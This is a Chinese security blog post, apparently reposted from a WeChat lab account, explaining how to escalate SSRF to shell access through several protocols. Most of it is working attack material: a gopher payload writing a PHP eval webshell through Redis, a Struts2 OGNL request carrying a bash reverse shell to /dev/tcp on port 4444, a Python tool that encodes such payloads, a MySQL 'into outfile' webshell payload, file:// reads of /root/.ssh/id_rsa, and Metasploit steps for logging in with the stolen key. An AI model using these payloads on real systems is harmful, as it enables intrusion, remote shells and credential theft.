不同协议下的SSRF如何获取GetShell

admin 2023年12月23日01:08:42评论33 views字数 11933阅读39分46秒阅读模式


本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

【优质软文】不同协议下的SSRF如何获取GetShell

0x01SSRF漏洞介绍


服务端请求伪造(Server-Side Request Forgery)简写SSRF,是一种攻击者构造特殊的请求,由服务端发起请求的安全漏洞。下图简单示例:

【优质软文】不同协议下的SSRF如何获取GetShell

SSRF漏洞原理

Web程序如果需要在其他服务器获取一些数据比如远程加载图片、远程获取文件等,就需要指定URL加载其他服务器的资料链接,如果加载远程链接用户可控,价值WEB程序对于远程加载的URL未做过滤和限制,导致服务器可以随便加载任意服务器的数据,从而导致SSRF漏洞产生。从上文中的示例图中可以看到SSRF的实质就是代理服务器,把攻击者A访问服务器B的数据经过存在SSRF漏洞的服务器A转发到服务器B。说到这里,熟悉内网渗透的同学就会想到代理隧道,如果服务器B无法访问,可以借助代理访问服务器B,这里的代理服务器就是服务器A。所以说SSRF的攻击目标一般也是外网无法访问的内部系统,攻击者可以利用SSRF漏洞获取内部系统一些信息,甚至在某些条件的情况下可以获取到服务器的权限,本文将会对SSRF获取SHELL的几种姿势做简单的说明。

初始SSRF ,PHP源文件如下:

   if(isset($_GET['url'])) {            //接收URL如果不做过滤就会导致SSRF漏洞                    $ch = curl_init();                    #echo $_GET['url'];                    curl_setopt($ch, CURLOPT_URL, $_GET['url']);                    curl_setopt($ch, CURLOPT_HEADER, 0);                    $content=curl_exec($ch);                    echo $content;                    curl_close($ch);                }            ?>               

上面的PHP代码前端传进来的url参数,后台直接获取URL参数并调用curl_exec()进行了请求,然后将请求的结果返回给前端。根据官方的解释PHP中curl_exec()函数是执行一个CURL会话。请求URL看一下效

http://172.20.92.162:81/ssrf2.php?url=http://www.baidu.com

【优质软文】不同协议下的SSRF如何获取GetShell

【优质软文】不同协议下的SSRF如何获取GetShell

0x02SSRF限制

PHP启用curl需要在php.ini文件中开启curl,在php.ini文件中去掉;就可以支持curl。

;extension=php_curl.dll  ###去掉;就可以支持curl        

也可也通过phpinfo中cURL support可以看到是否支持cURL,这里可以看到是enabled。

【优质软文】不同协议下的SSRF如何获取GetShell

【优质软文】不同协议下的SSRF如何获取GetShell

0x03SSRF漏洞利用

通过phpinfo也可以看到CURL支持的协议:

dict, file, ftp, ftps, gopher, http, https, imap, imaps, ldap, ldaps, pop3, pop3s, rtmp, rtsp, smtp, smtps, telnet, tftp        

Curl 支持的这些协议也是在curl_exec函数导致的ssrf可以利用的协议,在条件允许的情况下可以Getshell。其他函数下的SSRF file_get_contents()函数,访问URL

http://www.php.com:8080/test.php?url=file:///C:/WINDOWS/system32/drivers/etc/hosts

$url = $_GET

;
echo file_get_contents($url);//使用file协议读取本地文件,也可以远程访问一个url的页面
?>

fsockopen()函数也可以产生SSRF漏洞,这里不做赘述,以后的文章做详细的说明。Redis协议GetShell 如果网内有未授权的Redis服务器,可以利用SSRF利用操作Redis服务器获取Shell,下面以Redis服务器下写Webshell为例,大家都知道通过redis服务器协议webshell要经过下面的命令操作,将Redis的配置文件写到已知的网站路径下就可以写入WebShell。

set test "\n\n\n\n"
config set dir /var/www/html/
config set dbfilename shell.php
save

使用工具生成对应的EXP,这里工具推荐SpyD3r师傅的开源工具

https://github.com/tarunkant/Gopherus,

自行下载使用。

【优质软文】不同协议下的SSRF如何获取GetShell POC如下:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20%40eval%28%24_POST%5Bcmd%5D%29%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A         

URL解码之后的内容如下:

*1
$8
flushall
*3
$3
set
$1
1
$30

*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save

其实就是通过Gopher转发Redis协议的流量数据包,达到Redis未授权访问漏洞利用的效果,也可以利用Redis未授权访问漏洞写计划任务达到getshell的效果,值得注意的一点是,需要将上面的poc再次URL编码发送到服务器上即可执行成功。

【优质软文】不同协议下的SSRF如何获取GetShell 使用蚁剑链接webshell,可以看到已经连接成功。

【优质软文】不同协议下的SSRF如何获取GetShell

SSRF内网漏洞getshell,如果内网中存在其他弱点服务器,比如存在Struts2漏洞的服务器、Weblogic服务器等,可以将存在SSRF漏洞的服务器作为跳板机攻击其他内网服务器。Strus2漏洞的Payload如下:

POST /doUpload.action HTTP/1.1            Host: 172.20.92.162:8080            Content-Length: 405            Cache-Control: max-age=0            Upgrade-Insecure-Requests: 1            Origin: http://172.20.92.162:8080            Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/172.20.92.162/4444 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}.multipart/form-data; boundary=----WebKitFormBoundaryopB7ldXmIArG3PDC            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.62            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7            Referer: http://172.20.92.162:8080/            Accept-Encoding: gzip, deflate            Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6            Cookie: csrftoken=9mBqZoTGP3TZD8JjflypYFUrrD8vkJx4vkT48wbotc9v8GxFisH1QZYDmh8jhT2f; JSESSIONID=1gpevokvbgk3b1rs8v1245zdzb            Connection: close            



            ------WebKitFormBoundaryopB7ldXmIArG3PDC            Content-Disposition: form-data; name="upload"; filename="vk_swiftshader_icd.json"            Content-Type: application/json            



            {"file_format_version": "1.0.0", "ICD": {"library_path": ".\vk_swiftshader.dll", "api_version": "1.0.5"}}            ------WebKitFormBoundaryopB7ldXmIArG3PDC            Content-Disposition: form-data; name="caption"            



            



            ------WebKitFormBoundaryopB7ldXmIArG3PDC--

可能内网中通过HTTP协议漏洞利用的比较多,简单的先上个工具,方便以后在实战过程中利用

import argparse            import re            from urllib.parse import quote, unquote            



            def get_data(paylaod_path):                new_file=open(paylaod_path,'r')                return new_file.read().encode()            def encode_url(data):                encodeurl=quote(quote(data)) ##URL编码                return encodeurl            



            def parse_payload_host(payload_path):                payload_data=get_data(payload_path).decode()                host_pattern=re.search('nHOST:s+(.*)n',payload_data,re.I) ##解析host字段                return host_pattern.groups()[0]            



            def create_gopher(target_url,payload_path):                host=parse_payload_host(payload_path)                ssrf_url="%sgopher://%s/_"%(target_url,host)                payload_data=get_data(payload_path)                encode_url(payload_data)                result_payload=ssrf_url+encode_url(payload_data)                print(result_payload)            



            def ssrf_file_encode():                # 创建解析步骤                parser = argparse.ArgumentParser(description='ssrf 利用工具')            



                parser.add_argument('-f',"--file", required=True,help='需要编码的payload文件地址')                parser.add_argument('-t',"--target", required=True,help='ssrf漏洞地址')                # 解析参数步骤                args = parser.parse_args()                payload_file=args.file                target_url=args.target                create_gopher(target_url,payload_file)            



            



            if __name__ == '__main__':                ssrf_file_encode()           

使用方法-t输入存在SSRF漏洞的链接地址,-f 参数编码的文件如下:

python ssrf_http_encdoe.py -t http://172.20.92.162:81/ssrf4.php?url= -f struts2_payload            

运行后脚本会输出请求的payload

http://172.20.92.162:81/ssrf4.php?url=gopher://172.20.92.162:8080/_POST%2520/doUpload.action%2520HTTP/1.1%250AHost%253A%2520172.20.92.162%253A8080%250AContent-Length%253A%2520405%250ACache-Control%253A%2520max-age%253D0%250AUpgrade-Insecure-Requests%253A%25201%250AOrigin%253A%2520http%253A//172.20.92.162%253A8080%250AContent-Type%253A%2520%2525%257B%2528%2523nike%253D%2527multipart/form-data%2527%2529.%2528%2523dm%253D%2540ognl.OgnlContext%2540DEFAULT_MEMBER_ACCESS%2529.%2528%2523_memberAccess%253F%2528%2523_memberAccess%253D%2523dm%2529%253A%2528%2528%2523container%253D%2523context%255B%2527com.opensymphony.xwork2.ActionContext.container%2527%255D%2529.%2528%2523ognlUtil%253D%2523container.getInstance%2528%2540com.opensymphony.xwork2.ognl.OgnlUtil%2540class%2529%2529.%2528%2523ognlUtil.getExcludedPackageNames%2528%2529.clear%2528%2529%2529.%2528%2523ognlUtil.getExcludedClasses%2528%2529.clear%2528%2529%2529.%2528%2523context.setMemberAccess%2528%2523dm%2529%2529%2529%2529.%2528%2523cmd%253D%2527bash%2520-i%2520%253E%2526%2520/dev/tcp/172.20.92.162/4444%25200%253E%25261%2527%2529.%2528%2523iswin%253D%2528%2540java.lang.System%2540getProperty%2528%2527os.name%2527%2529.toLowerCase%2528%2529.contains%2528%2527win%2527%2529%2529%2529.%2528%2523cmds%253D%2528%2523iswin%253F%257B%2527cmd.exe%2527%252C%2527/c%2527%252C%2523cmd%257D%253A%257B%2527/bin/bash%2527%252C%2527-c%2527%252C%2523cmd%257D%2529%2529.%2528%2523p%253Dnew%2520java.lang.ProcessBuilder%2528%2523cmds%2529%2529.%2528%2523p.redirectErrorStream%2528true%2529%2529.%2528%2523process%253D%2523p.start%2528%2529%2529.%2528%2523ros%253D%2528%2540org.apache.struts2.ServletActionContext%2540getResponse%2528%2529.getOutputStream%2528%2529%2529%2529.%2528%2540org.apache.commons.io.IOUtils%2540copy%2528%2523process.getInputStream%2528%2529%252C%2523ros%2529%2529.%2528%2523ros.flush%2528%2529%2529%257D.multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryopB7ldXmIArG3PDC%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%2529%2520AppleWebKit/537.36%2520%2528KHTML%252C%2520like%2520Gecko%2529%2520Chrome/116.0.0.0%2520Safari/537.36%2520Edg/116.0.1938.62%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/webp%252Cimage/apng%252C%252A/%252A%253Bq%253D0.8%252Capplication/signed-exchange%253Bv%253Db3%253Bq%253D0.7%250AReferer%253A%2520http%253A//172.20.92.162%253A8080/%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%252Cen%253Bq%253D0.8%252Cen-GB%253Bq%253D0.7%252Cen-US%253Bq%253D0.6%250ACookie%253A%2520csrftoken%253D9mBqZoTGP3TZD8JjflypYFUrrD8vkJx4vkT48wbotc9v8GxFisH1QZYDmh8jhT2f%253B%2520JSESSIONID%253D1gpevokvbgk3b1rs8v1245zdzb%250AConnection%253A%2520close%250A%250A------WebKitFormBoundaryopB7ldXmIArG3PDC%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522upload%2522%253B%2520filename%253D%2522vk_swiftshader_icd.json%2522%250AContent-Type%253A%2520application/json%250A%250A%257B%2522file_format_version%2522%253A%2520%25221.0.0%2522%252C%2520%2522ICD%2522%253A%2520%257B%2522library_path%2522%253A%2520%2522.%255C%255Cvk_swiftshader.dll%2522%252C%2520%2522api_version%2522%253A%2520%25221.0.5%2522%257D%257D%250A------WebKitFormBoundaryopB7ldXmIArG3PDC%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522caption%2522%250A%250A%250A------WebKitFormBoundaryopB7ldXmIArG3PDC--%250A

在vps监听端口,将生成的payload放到burp中发送请求,发现已经shell已经反弹成功。

【优质软文】不同协议下的SSRF如何获取GetShell

这里本来想要继续拓展一下,其实可以利用SSRF漏洞作为一个HTTP代理服务器实现对内网网站的访问,奈何篇幅有限,以后有机会上传github供各位师傅食用。

SSRF漏洞Mysql协议getshell,gopher协议也可以操作mysql,通过mysql协议写入webshell。一般是通过 into outfile 写入文件,我们知道在Mysql协议写入是要有一定的限制条件的,利用SSRF通过Mysql写入Webshell也需要一定的条件。

1.限制

mysql 免密登录

Mysql开启secure_file_priv,Mysql中secure_file_priv默认是NULL,是禁止导入导出的,需要将secure_file_priv值置为空。

curl版本大于7.49(可能会存在%00截断问题)

2.利用

Give MySQL username: root            Give query to execute: select "" into outfile "/var/www/html/shell.php"            

【优质软文】不同协议下的SSRF如何获取GetShell

生成的POC如下:

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%52%45%51%55%45%53%54%5b%38%5d%29%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%22%01%00%00%00%01           

这里面需要注意一点,cURL版本在7.35 上gopher协议存在bug(%00截断) 经测试7.49 可用,使用cURL可以测试生成Webshell的效果。

【优质软文】不同协议下的SSRF如何获取GetShell

SSRF漏洞ssh私钥getshell,如果服务器存在SSH公钥,可以通过SSH获取SSH的公钥文件,文件路径在,/root/.ssh/id_rsa.pub,可以使用file协议获取,请求POC如下:

GET /ssrf4.php?url=file:///root/.ssh/id_rsa&code=utf-8 HTTP/1.1            Host: 172.20.92.162:81            Pragma: no-cache            Cache-Control: no-cache            Upgrade-Insecure-Requests: 1            User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.62            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7            Accept-Encoding: gzip, deflate            Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6            Cookie: csrftoken=9mBqZoTGP3TZD8JjflypYFUrrD8vkJx4vkT48wbotc9v8GxFisH1QZYDmh8jhT2f; JSESSIONID=1gpevokvbgk3b1rs8v1245zdzb            Connection: close                       

【优质软文】不同协议下的SSRF如何获取GetShell

将获取到的私钥文件拷贝本地服务器的/opt/id_rsa文件内,使用msf的 auxiliary/scanner/ssh/ssh_login_pubkey模块,设置如下:

msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set username root            username => root            msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set key_path /opt/id_rsa            key_path => /opt/id_rsa            msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set rhosts 172.20.92.162            rhosts => 172.20.92.162            msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > set rport 1022            rport => 1022            msf6 auxiliary(scanner/ssh/ssh_login_pubkey) > run            

然后静等返回的session。

【优质软文】不同协议下的SSRF如何获取GetShell

可以看到session已经获取成功,简答的执行命令。

【优质软文】不同协议下的SSRF如何获取GetShell

https://www.cnblogs.com/lktop/p/13774088.htmlhttps://github.com/tarunkant/Gopherus
【优质软文】不同协议下的SSRF如何获取GetShell

0x07关于天幕安全实验室

原文始发于微信公众号(弥天安全实验室):【优质软文】不同协议下的SSRF如何获取GetShell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月23日01:08:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   不同协议下的SSRF如何获取GetShellhttps://cn-sec.com/archives/2327642.html

发表评论

匿名网友 填写信息